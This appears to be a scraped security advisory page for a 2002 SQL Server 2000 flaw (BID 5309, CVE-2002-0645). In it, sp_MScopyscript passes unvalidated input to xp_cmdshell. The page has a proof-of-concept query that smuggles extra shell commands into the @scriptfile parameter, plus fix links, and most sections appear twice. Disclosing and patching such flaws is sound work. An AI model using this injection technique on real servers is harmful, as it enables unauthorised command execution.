Microsoft SQL Server 2000 sp_MScopyscript SQL Injection Vulnerability
BID:5309
Info
Microsoft SQL Server 2000 sp_MScopyscript SQL Injection Vulnerability
| Bugtraq ID: | 5309 |
| Class: | Input Validation Error |
| CVE: |
CVE-2002-0645 |
| Remote: | Yes |
| Local: | No |
| Published: | Jul 25 2002 12:00AM |
| Updated: | Jul 11 2009 02:56PM |
| Credit: | Discovery credited to Cesar Cerrudo <[email protected]>. |
| Vulnerable: |
Microsoft SQL Server 2000 Desktop Engine Microsoft SQL Server 2000 SP2 Microsoft SQL Server 2000 SP1 Microsoft SQL Server 2000 |
| Not Vulnerable: |
Microsoft SQL Server 2000 SP3 |
Discussion
Microsoft SQL Server 2000 sp_MScopyscript SQL Injection Vulnerability
The Microsoft SQL Server 2000 sp_MScopyscript stored procedure does not sufficiently validate input before passing it to the xp_cmdshell extended stored procedure. An attacker with the ability to execute a query or pass malicious input to a query may be able to execute operating system commands via xp_cmdshell with the privileges of the SQL Server.
The sp_MScopyscript stored procedure may be executed by the 'public' role by default, so it is possible that a database user with privileges may potentially exploit this issue.
The Microsoft SQL Server must be configured to function as a distributor for this issue to be exploited. Certain other conditions must be satisfied for exploitation to succeed, such as the SQL Server running in the context of a domain user.
** This issue was also documented as BID 5546. That entry has now been deprecated in favor of the original report.
The Microsoft SQL Server 2000 sp_MScopyscript stored procedure does not sufficiently validate input before passing it to the xp_cmdshell extended stored procedure. An attacker with the ability to execute a query or pass malicious input to a query may be able to execute operating system commands via xp_cmdshell with the privileges of the SQL Server.
The sp_MScopyscript stored procedure may be executed by the 'public' role by default, so it is possible that a database user with privileges may potentially exploit this issue.
The Microsoft SQL Server must be configured to function as a distributor for this issue to be exploited. Certain other conditions must be satisfied for exploitation to succeed, such as the SQL Server running in the context of a domain user.
** This issue was also documented as BID 5546. That entry has now been deprecated in favor of the original report.
Exploit / POC
Microsoft SQL Server 2000 sp_MScopyscript SQL Injection Vulnerability
The following example was submitted:
By supplying a malformed @scriptfile parameter an attacker can run arbitrary
commands:
use master
declare @cmd nvarchar(4000)
exec sp_MScopyscriptfile N'c:\autoexec.bat" c:\cp.txt&echo hello >
c:\ccc.bbb & echo "hello',@cmd OUTPUT
print @cmd
The above query will copy the autoexec.bat file to cp.txt but also echo hello to a file called ccc.bbb.
The following example was submitted:
By supplying a malformed @scriptfile parameter an attacker can run arbitrary
commands:
use master
declare @cmd nvarchar(4000)
exec sp_MScopyscriptfile N'c:\autoexec.bat" c:\cp.txt&echo hello >
c:\ccc.bbb & echo "hello',@cmd OUTPUT
print @cmd
The above query will copy the autoexec.bat file to cp.txt but also echo hello to a file called ccc.bbb.
Solution / Fix
Microsoft SQL Server 2000 sp_MScopyscript SQL Injection Vulnerability
Solution:
Fixes available:
Microsoft SQL Server 2000
Microsoft SQL Server 2000 SP1
Microsoft SQL Server 2000 Desktop Engine
Microsoft SQL Server 2000 SP2
Solution:
Fixes available:
Microsoft SQL Server 2000
-
Microsoft sql2ksp3
http://www.microsoft.com/sql/downloads/2000/sp3.asp?SD=GN&LN=en-us&gss nb=1
Microsoft SQL Server 2000 SP1
-
Microsoft sql2ksp3
http://www.microsoft.com/sql/downloads/2000/sp3.asp?SD=GN&LN=en-us&gss nb=1
Microsoft SQL Server 2000 Desktop Engine
-
Microsoft sql2ksp3
http://www.microsoft.com/sql/downloads/2000/sp3.asp?SD=GN&LN=en-us&gss nb=1
Microsoft SQL Server 2000 SP2
References
Microsoft SQL Server 2000 sp_MScopyscript SQL Injection Vulnerability
References:
References:
- Microsoft Security Bulletin MS02-038 (Microsoft)
- Microsoft SQL Server Homepage (Microsoft)
- Vulnerability Note VU#508387 (CERT/CC)